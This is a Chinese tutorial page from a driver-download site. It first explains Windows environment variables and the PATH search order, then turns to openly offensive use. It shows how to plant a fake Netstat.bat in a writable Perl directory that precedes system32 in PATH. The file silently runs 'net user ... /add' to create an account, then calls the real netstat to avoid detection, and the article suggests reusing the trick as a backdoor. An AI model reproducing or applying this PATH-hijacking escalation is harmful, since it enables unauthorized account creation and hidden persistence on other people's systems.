驱动管家:安全、高效、精准的专业驱动下载站!

什么是环境变量?path变量起什么作用?

2018-01-29 12:13:50责编:llp   来源:驱动管家     人气:

首先,我们先了解下什么叫环境变量!环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。

什么是环境变量?path变量起什么作用?

这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比如查看系统当前的环境变量,可以使用SET命令查看!

下面是执行SET命令后反馈的信息 ALLUSERSPROFILE=C:\Documents and Settings\All Users

APPDATA=C:\Documents and Settings\Administrator\Application Data

CLIENTNAME=Console

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=145F63CA0A6F46D

ComSpec=C:\WINDOWS\system32\cmd.exe

FP_NO_HOST_CHECK=NO

HOMEDRIVE=C:

HOMEPATH=\Documents and Settings\Administrator

LOGONSERVER=\\145F63CA0A6F46D

NUMBER_OF_PROCESSORS=2

OS=Windows_NT

Path=D:\Progra~1\Borland\Delphi7\Bin;D:\Progra~1\Borland\Delphi7\Projects\Bpl\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0f06

ProgramFiles=C:\Program Files

PROMPT=$P$G

SESSIONNAME=Console

SystemDrive=C:

SystemRoot=C:\WINDOWS

TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp

TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp

USERDOMAIN=145F63CA0A6F46D

USERNAME=Administrator

USERPROFILE=C:\Documents and Settings\Administrator

windir=C:\WINDOWS

======================================================================

我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!------Hacking中也提供了不少方便,不是么?

其实这就是 Path 变量所起的作用了!

如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。

也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的!

1.

当前目录下的可执行文件!

2.

依次查找Path变量中的所指定的目录! OK,在大体认识了环境变量后,我们开始切入主题,谈谈如何利用环境变量为我们的Hacking提供便利。

我们知道PERL安装后会在变量Path内容的最前面加入c:\perl\bin //目录依安装而定

而当管理员权限配置不当时,会疏忽此目录的权限配置(默认权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件。 下面我举个利用的例子!

//是否可利用,取决于Path变量的位置以及该目录是否可写

//环境变量一定要在系统自带环境变量之前。 假设条件如下:

目标安装了PERL,且目录为c:\perl\bin

//目录可写

系统环境变量中的Path变量内容如下

Path=c:\perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem

我们可以在该目录下创建如下文件

Netstat.cmd

or

Netstat.bat //常用系统命令亦可,请自己举一反三!THX~

文件内容如下 @net user netpatch nspcn.org /add>nul

Rem 命令一定要记得加 @ 结尾加

>nul

Rem @是为了隐藏命令本身

Rem >nul 是为了隐藏命令执行完后的结果反馈!

@%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6

Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等,是起 参数的作用 当管理员执行命令时,由于Path变量中c:\perl\bin位于系统环境变量的前面,所以,当管理员执行Netstat命令时,系统会首先找当前目录下的可执行文件,默认也就是”C:\Documents and Settings\Administrator\” (依登陆用户而定)当没找到Netstat程序时,就会接着依次寻找环境变量中的Path变量中所定义的目录,第一个当然是c:\perl\bin目录啦..由于系统找的是可执行程序,SO…自然而然的找到了我们的Netstat.bat,然后系统也就理所当然的执行了我们设置好的命令。由于我们构造的巧妙,未露丝毫马脚..成功暗地提权…..

此乃三十六计中的暗渡陈仓也…. 提权的小技巧讲完了…聪明的你或许会想到..如果作为BACKDOOR呢?呵呵~~

为啥不可呢,有Idea就得试…没测试哪来的正果呢?

  • 怎么获取webshell?得到webshell获取网站控制权的十大方法

    怎么获取webshell?得到webshell获取网站控制权的十大方法

    黑客在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法,希望广大的企业网络管理员能够通过了解获取websh

    详情2018-01-17 15:24:21责编:llp   来源:驱动管家     
  • fckeditor是什么?fckeditor jsp版存在什么漏洞?

    fckeditor是什么?fckeditor jsp版存在什么漏洞?

    FCKeditor是目前最优秀的可见即可得网页编辑器之一,它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。它非常流行,互联网上很容易找到相关技术文档,国内许多WEB项目和

    详情2018-01-23 16:59:59责编:llp   来源:驱动管家     
  • 要防止ddos网络攻击,就要了解ddos网络攻击的七种武器

    要防止ddos网络攻击,就要了解ddos网络攻击的七种武器

      1 Synflood:该攻击以多个随机的源主机地址向目的主机发送SYN包,而在收到目的主机的SYN ACK后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收

    详情2018-01-23 14:50:47责编:llp   来源:驱动管家     
  • ripper病毒怎么删除?U盘里的ripper病毒无法删除怎么办?

    ripper病毒怎么删除?U盘里的ripper病毒无法删除怎么办?

    电脑,软件DiskGenius下载地址:softs 19980 html1、打开DiskGenius软件,左面找到你的U盘,选定它。2、单击上方的‘硬盘’选项。3、选择其中的‘重建主引导记录’4、选择其中的‘清除

    详情2018-01-15 19:00:15责编:llp   来源:驱动管家     
  • 你知道网站安全测试的工具awvs的使用方法吗?

    你知道网站安全测试的工具awvs的使用方法吗?

    一、打开应用1、打开应用,出现如图所示界面:二、创建一个新的测试项目这里以CSDN为例:1 点击File –> New –> Web Site Scan或者工具栏上的“New Scan”打开创建页面,如下图:2 填写需

    详情2018-01-16 17:30:30责编:llp   来源:驱动管家     
  • wannacry勒索病毒劫持计算机怎么办?这款wannaCry文件恢复工具能帮你

    wannacry勒索病毒劫持计算机怎么办?这款wannaCry文件恢复工具能帮你

    从5月12日爆发至今,名为WannaCry的勒索病毒让全球数十万Windows计算机中招,黑客将用户计算机中的重要文件实施加密,并索要赎金解锁。这种情况如果发生在企业服务器当中,那么将带来严重损失。对此,阿里云安全

    详情2018-01-16 14:25:09责编:llp   来源:驱动管家     
  • 路由器怎么设置才可以防止arp攻击?这里有防止arp攻击教程

    路由器怎么设置才可以防止arp攻击?这里有防止arp攻击教程

    第一步:打开网吧路由器的管理界面,在左侧的菜单中可以看到:“IP与MAC绑定”,在该项来设置IP和MAC绑定。第二步:打开“静态ARP绑定设置”窗口如下:注意:默认情况下ARP绑定功能是关闭,请选中启用后,点击保

    详情2018-01-23 14:45:41责编:llp   来源:驱动管家     
  • 心脏出血漏洞检测 心脏出血漏洞检测软件

    心脏出血漏洞检测 心脏出血漏洞检测软件

    小编带来了心脏出血漏洞检测软件下载地址,大家可以下载心脏出血漏洞一键检测app,为了我们账户的安全,大家都可以检测一下自己的手机是否存在心脏出血漏洞哦~尽管“心脏出血”是一个网络漏洞,但是某些手机App通

    详情2018-01-07 08:24:37责编:llp   来源:驱动管家     
  • 永恒之蓝补丁是防范wannacry蠕虫勒索病毒的一种方法

    永恒之蓝补丁是防范wannacry蠕虫勒索病毒的一种方法

    背景5月12日晚,一款名为Wannacry的蠕虫勒索软件袭击全球网络,这被认为是迄今为止最巨大的勒索交费活动,影响到近百个国家上千家企业及公共组织。该软件被认为是一种蠕虫变种(也被称为“wannacryptor”或“wcry

    详情2018-01-21 21:36:06责编:llp   来源:驱动管家     
  • 什么是加密?加密与数字签名有何区别?

    什么是加密?加密与数字签名有何区别?

    什么是加密?用非常基本的词汇说,加密是一种以密码方式发送信息的方法。只有拥有正确密钥的人才能解开这个信息的密码。对于其他人来说,这个信息看起来就像是一系列随机的字母、数字和符号。如果你要发送不应该让

    详情2018-01-22 14:56:19责编:llp   来源:驱动管家